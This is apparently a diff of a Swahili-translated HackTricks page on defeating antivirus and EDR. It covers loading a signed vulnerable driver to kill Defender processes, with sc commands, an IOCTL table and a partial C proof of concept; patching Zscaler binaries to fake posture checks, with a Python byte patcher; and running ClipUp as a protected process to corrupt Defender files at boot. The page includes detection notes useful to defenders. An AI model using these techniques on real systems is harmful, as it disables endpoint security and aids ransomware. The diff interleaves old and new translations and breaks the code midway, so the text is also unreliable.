hiyo inakuja na **dereva lake lenye udhaifu lakini *lililothibitishwa*** na inatumia udhaifu huo kutoa operesheni za kernel zenye mamlaka ambazo hata huduma za AV za Protected-Process-Light (PPL) haziwezi kuzuia. +Storm-2603 ilitumia utiliti ndogo ya console inayojulikana kama **Antivirus Terminator** kuzima ulinzi wa endpoint kabla ya kuachia ransomware. Zana hii inaleta **driver yake mwenyewe iliyo hatarishi lakini *iliyosasishwa*** na kuilimbikiza kuitumia kutoa operesheni za kipekee za kernel ambazo hata huduma za Protected-Process-Light (PPL) AV hazina uwezo wa kuzizuia. -Mambo muhimu ya kujifunza -1. **Dereva lililothibitishwa**: Faili inayotolewa kwenye diski ni `ServiceMouse.sys`, lakini binary ni dereva halali lililothibitishwa `AToolsKrnl64.sys` kutoka kwa “System In-Depth Analysis Toolkit” ya Antiy Labs. Kwa sababu dereva lina saini halali ya Microsoft, linaweza kupakia hata wakati Uthibitishaji wa Saini za Dereva (DSE) umewezeshwa. -2. **Usanidi wa huduma**: +Mambo ya kuzingatia +1. **Driver iliyosainiwa**: Faili iliyowekwa kwenye disk ni `ServiceMouse.sys`, lakini binary ni driver halali iliyosasishwa `AToolsKrnl64.sys` kutoka kwa Antiy Labs’ “System In-Depth Analysis Toolkit”. Kwa sababu driver ina saini halali ya Microsoft inaweza kupakiwa hata wakati Driver-Signature-Enforcement (DSE) iko kwenye nguvu. +2. **Usakinishaji wa service**: ```powershell sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys" sc start ServiceMouse ``` -Mstari wa kwanza unajiandikisha dereva kama **huduma ya kernel** na wa pili unaanzisha ili `\\.\ServiceMouse` iweze kupatikana kutoka kwa ardhi ya mtumiaji. -3. **IOCTLs zilizowekwa wazi na dereva** -| Msimbo wa IOCTL | Uwezo | -|----------------:|------------------------------------| -| `0x99000050` | Kuua mchakato wowote kwa PID (inatumika kuua huduma za Defender/EDR) | -| `0x990000D0` | Futa faili yoyote kwenye diski | -| `0x990001D0` | Ondoa dereva na kuondoa huduma | +Mstari wa kwanza unasajili driver kama **kernel service** na wa pili unaanza ili `\\.\ServiceMouse` iweze kupatikana kutoka user land. +3. **IOCTLs zilizofichuliwa na driver** +| IOCTL code | Capability | +|-----------:|-----------------------------------------| +| `0x99000050` | Kumaliza mchakato wowote kwa PID (ilitumika kuua Defender/EDR services) | +| `0x990000D0` | Kufuta faili yoyote kwenye disk | +| `0x990001D0` | Kutupilia mbali driver na kuondoa service | -Mfano wa chini wa C: +Minimal C proof-of-concept: ```c #include @@ -661,30 +666,30 @@ CloseHandle(hDrv); return 0; } ``` -4. **Kwa nini inafanya kazi**: BYOVD inakataa ulinzi wa hali ya mtumiaji kabisa; msimbo unaotekelezwa kwenye kernel unaweza kufungua *michakato* iliyo *lindwa*, kuua hizo, au kuingilia kati vitu vya kernel bila kujali PPL/PP, ELAM au vipengele vingine vya kuimarisha. +4. **Kwa nini inafanya kazi**: BYOVD inapuuzia ulinzi wa user-mode kabisa; nambari inayotekelezwa kwenye kernel inaweza kufungua michakato *iliyo na ulinzi*, kuiweka kifupi, au kushughulikia vitu vya kernel bila kujali PPL/PP, ELAM au vipimo vingine vya kuimarisha. -Ugunduzi / Kupunguza -• Wezesha orodha ya kuzuia dereva wenye udhaifu ya Microsoft (`HVCI`, `Smart App Control`) ili Windows ikatae kupakia `AToolsKrnl64.sys`. -• Fuata uundaji wa huduma mpya za *kernel* na uonyeshe wakati dereva inapopakuliwa kutoka kwa saraka inayoweza kuandikwa na ulimwengu au haipo kwenye orodha ya ruhusa. -• Angalia kwa kushughulikia hali ya mtumiaji kwa vitu vya kifaa maalum vinavyofuatwa na simu za `DeviceIoControl` zenye shaka. +Detection / Mitigation +• Washa orodha ya kuzuia driver zilizo hatarishi za Microsoft (`HVCI`, `Smart App Control`) ili Windows ikaue kupakia `AToolsKrnl64.sys`. +• Monitor uundwaji wa services mpya za *kernel* na toa tahadhari wakati driver inapakiwa kutoka kwenye saraka inayoandikwa na kila mtu (world-writable) au haipo kwenye orodha ya kuruhusiwa. +• Angalia kwa handles za user-mode kwa custom device objects zikiambatana na simu za kushuku za `DeviceIoControl`. -### Kupita Zscaler Client Connector Posture Checks kupitia Patching ya Binary kwenye Diski +### Kupitisha Posture Checks za Zscaler Client Connector kupitia On-Disk Binary Patching -**Client Connector** ya Zscaler inatumia sheria za hali ya kifaa kwa ndani na inategemea Windows RPC kuwasilisha matokeo kwa vipengele vingine. Chaguzi mbili dhaifu za muundo zinafanya kupita kabisa iwezekane: +Zscaler’s **Client Connector** inatekeleza sheria za device-posture kwa upande wa mteja na inategemea Windows RPC kuwasiliana matokeo kwa sehemu nyingine. Uchaguzi mbili dhaifu za muundo zinaleta uwezo wa kupitisha kabisa: -1. Tathmini ya hali inafanyika **kabisa upande wa mteja** (boolean inatumwa kwa seva). -2. Nje za RPC za ndani zinathibitisha tu kwamba executable inayounganisha ime **thibitishwa na Zscaler** (kupitia `WinVerifyTrust`). +1. Tathmini ya posture hufanyika **kama client-side pekee** (boolean hupelekwa kwa server). +2. Endpoints za ndani za RPC zinathibitisha tu kwamba executable inayounganisha ime **sainiwa na Zscaler** (kupitia `WinVerifyTrust`). -Kwa **kurekebisha binaries nne zilizothibitishwa kwenye diski**, mitambo yote inaweza kufanywa kuwa isiyo na nguvu: +Kwa **kuchezea binaries nne zilizosasishwa kwenye disk** mbinu zote mbili zinaweza kuzimwa: -| Binary | Mantiki ya asili iliyorekebishwa | Matokeo | +| Binary | Original logic patched | Result | |--------|------------------------|---------| -| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Kila wakati inarudisha `1` hivyo kila ukaguzi unakubalika | -| `ZSAService.exe` | Kuitwa kwa njia isiyo ya moja kwa moja kwa `WinVerifyTrust` | NOP-ed ⇒ mchakato wowote (hata usio na saini) unaweza kuungana na mabomba ya RPC | -| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | Imebadilishwa na `mov eax,1 ; ret` | -| `ZSATunnel.exe` | Ukaguzi wa uaminifu kwenye tunnel | Umefupishwa | +| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Huarudi `1` kila mara hivyo kila ukaguzi unakuwa compliant | +| `ZSAService.exe` | Indirect call to `WinVerifyTrust` | NOP-ed ⇒ mchakato wowote (hata usiosainiwa) unaweza kuungana kwenye RPC pipes | +| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | Imereplaced na `mov eax,1 ; ret` | +| `ZSATunnel.exe` | Integrity checks on the tunnel | Imefupishwa/short-circuited | -Sehemu ya chini ya patcher: +Sehemu ndogo ya patcher: ```python pattern = bytes.fromhex("44 89 AC 24 80 02 00 00") replacement = bytes.fromhex("C6 84 24 80 02 00 00 01") # force result = 1 @@ -698,18 +703,93 @@ else: f.seek(off) f.write(replacement) ``` -Baada ya kubadilisha faili za asili na kuanzisha tena huduma: +Baada ya kubadilisha faili za asili na kuanzisha upya service stack: -* **Majaribio yote** ya mkao yanaonyesha **kijani/kukubalika**. -* Binaries zisizosainiwa au zilizobadilishwa zinaweza kufungua mwisho wa RPC wa named-pipe (kwa mfano, `\\RPC Control\\ZSATrayManager_talk_to_me`). -* Kifaa kilichoshambuliwa kinapata ufikiaji usio na kikomo kwenye mtandao wa ndani ulioainishwa na sera za Zscaler. +* **All** posture checks display **green/compliant**. +* Unsigned or modified binaries can open the named-pipe RPC endpoints (e.g. `\\RPC Control\\ZSATrayManager_talk_to_me`). +* The compromised host gains unrestricted access to the internal network defined by the Zscaler policies. -Utafiti huu unaonyesha jinsi maamuzi ya kuamini upande wa mteja pekee na ukaguzi rahisi wa saini yanaweza kushindwa kwa vidokezo vichache vya byte. +Kesi hii ya mtihani inaonyesha jinsi maamuzi ya uaminifu upande wa mteja pekee na ukaguzi rahisi wa saini yanavyoweza kushindwa kwa few byte patches. -## Marejeleo +## Abusing Protected Process Light (PPL) To Tamper AV/EDR With LOLBINs + +Protected Process Light (PPL) inatekeleza hieraki ya signer/ngazi hivyo mchakato uliolindwa wa ngazi sawa au ya juu tu ndio unaweza kuingilia mchakato mwingine. Kwa matumizi ya kushambulia, ikiwa unaweza kuanzisha kwa halali binary yenye PPL na kudhibiti hoja zake, unaweza kubadilisha kazi zisizo hatari (mfano, logging) kuwa primitive ya kuandika yenye mipaka, inayotolewa na PPL, dhidi ya directories zilizo na ulinzi zinazotumiwa na AV/EDR. + +What makes a process run as PPL +- The target EXE (and any loaded DLLs) must be signed with a PPL-capable EKU. +- The process must be created with CreateProcess using the flags: `EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`. +- A compatible protection level must be requested that matches the signer of the binary (e.g., `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` for anti-malware signers, `PROTECTION_LEVEL_WINDOWS` for Windows signers). Wrong levels will fail at creation. + +See also a broader intro to PP/PPL and LSASS protection here: + +{{#ref}} +stealing-credentials/credentials-protections.md +{{#endref}} + +Launcher tooling +- Open-source helper: CreateProcessAsPPL (selects protection level and forwards arguments to the target EXE): +- [https://github.com/2x7EQ13/CreateProcessAsPPL](https://github.com/2x7EQ13/CreateProcessAsPPL) +- Usage pattern: +```text +CreateProcessAsPPL.exe [args...] +# example: spawn a Windows-signed component at PPL level 1 (Windows) +CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe +# example: spawn an anti-malware signed component at level 3 +CreateProcessAsPPL.exe 3 +``` +LOLBIN primitive: ClipUp.exe +- Binary ya mfumo iliyosainiwa `C:\Windows\System32\ClipUp.exe` inaanzisha mwenyewe na inakubali parameter ya kuandika faili la log kwenye path iliyoainishwa na mwito. +- When launched as a PPL process, the file write occurs with PPL backing. +- ClipUp haiwezi kuchambua paths zenye nafasi; tumia 8.3 short paths kuelekeza kwenye maeneo ambayo kwa kawaida yalindwa. + +8.3 short path helpers +- Orodhesha majina mafupi: `dir /x` katika kila parent directory. +- Pata njia fupi katika cmd: `for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA` + +Abuse chain (abstract) +1) Anzisha the PPL-capable LOLBIN (ClipUp) with `CREATE_PROTECTED_PROCESS` ukitumia launcher (mf., CreateProcessAsPPL). +2) Pitia ClipUp log-path argument ili kulazimisha uundaji wa faili katika protected AV directory (mf., Defender Platform). Tumia 8.3 short names ikiwa inahitajika. +3) Ikiwa target binary kwa kawaida iko wazi/imefungwa na AV wakati wa kukimbia (mf., MsMpEng.exe), panga uandishi kufanyika wakati wa boot kabla AV haijaanza kwa kusakinisha auto-start service ambayo inaendeshwa mapema kwa uhakika. Thibitisha boot ordering kwa Process Monitor (boot logging). +4) Kufuatia reboot, uandishi ulioungwa mkono na PPL hutokea kabla AV haijafunga binaries zake, ukiharibu target file na kuzuia startup. + +Example invocation (paths redacted/shortened for safety): +```text +# Run ClipUp as PPL at Windows signer level (1) and point its log to a protected folder using 8.3 names +CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe -ppl C:\PROGRA~3\MICROS~1\WINDOW~1\Platform\\samplew.dll +``` +Notes and constraints +- Huwezi kudhibiti yaliyomo ambayo ClipUp inaandika zaidi ya mahali pa kuweka; mbinu hii inafaa kwa kuharibu badala ya sindano sahihi ya yaliyomo. +- Inahitaji local admin/SYSTEM kusanidi/kuanza service na dirisha la kuanzisha upya. +- Wakati ni muhimu: lengo halipaswi kuwa wazi; utekelezaji wakati wa boot huzuia file locks. + +Detections +- Uundaji wa mchakato wa `ClipUp.exe` na hoja zisizo za kawaida, hasa ukiwa mzazi wa launchers zisizo za kawaida, karibu na boot. +- Services mpya zilizosanidiwa kuanza auto-start binaries za kutiliwa shaka na kuanza mara kwa mara kabla ya Defender/AV. Chunguza uundaji/urekebishaji wa service kabla ya kushindwa kwa kuanzisha Defender. +- Ufuatiliaji wa uadilifu wa faili kwenye Defender binaries/Platform directories; uundaji/urekebishaji wa faili usiotarajiwa na michakato yenye bendera za protected-process. +- ETW/EDR telemetry: tafuta michakato iliyoumbwa kwa `CREATE_PROTECTED_PROCESS` na matumizi ya kiwango cha PPL isiyo ya kawaida na binaries zisizo za AV. + +Mitigations +- WDAC/Code Integrity: zuia ni binaries zipi zilizosainiwa zinaweza kuendeshwa kama PPL na chini ya wazazi gani; zuia kuitwa kwa ClipUp nje ya muktadha halali. +- Service hygiene: zuia uundaji/urekebishaji wa services za auto-start na fuatilia uchezaji wa mpangilio wa kuanzisha. +- Hakikisha Defender tamper protection na early-launch protections zimeshawashwa; chunguza makosa ya kuanzisha yanayoonyesha uharibifu wa binary. +- Fikiria kuzima 8.3 short-name generation kwenye volumes zinazohifadhi security tooling ikiwa inafaa kwa mazingira yako (test thoroughly). + +References for PPL and tooling +- Microsoft Protected Processes overview: https://learn.microsoft.com/windows/win32/procthread/protected-processes +- EKU reference: https://learn.microsoft.com/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88 +- Procmon boot logging (ordering validation): https://learn.microsoft.com/sysinternals/downloads/procmon +- CreateProcessAsPPL launcher: https://github.com/2x7EQ13/CreateProcessAsPPL +- Technique writeup (ClipUp + PPL + boot-order tamper): https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html + +## References - [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/) - [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html) - [Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/) +- [Microsoft – Protected Processes](https://learn.microsoft.com/windows/win32/procthread/protected-processes) +- [Microsoft – EKU reference (MS-PPSEC)](https://learn.microsoft.com/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88) +- [Sysinternals – Process Monitor](https://learn.microsoft.com/sysinternals/downloads/procmon) +- [CreateProcessAsPPL launcher](https://github.com/2x7EQ13/CreateProcessAsPPL) +- [Zero Salarium – Countering EDRs With The Backing Of Protected Process Light (PPL)](https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html) {{#include ../banners/hacktricks-training.md}}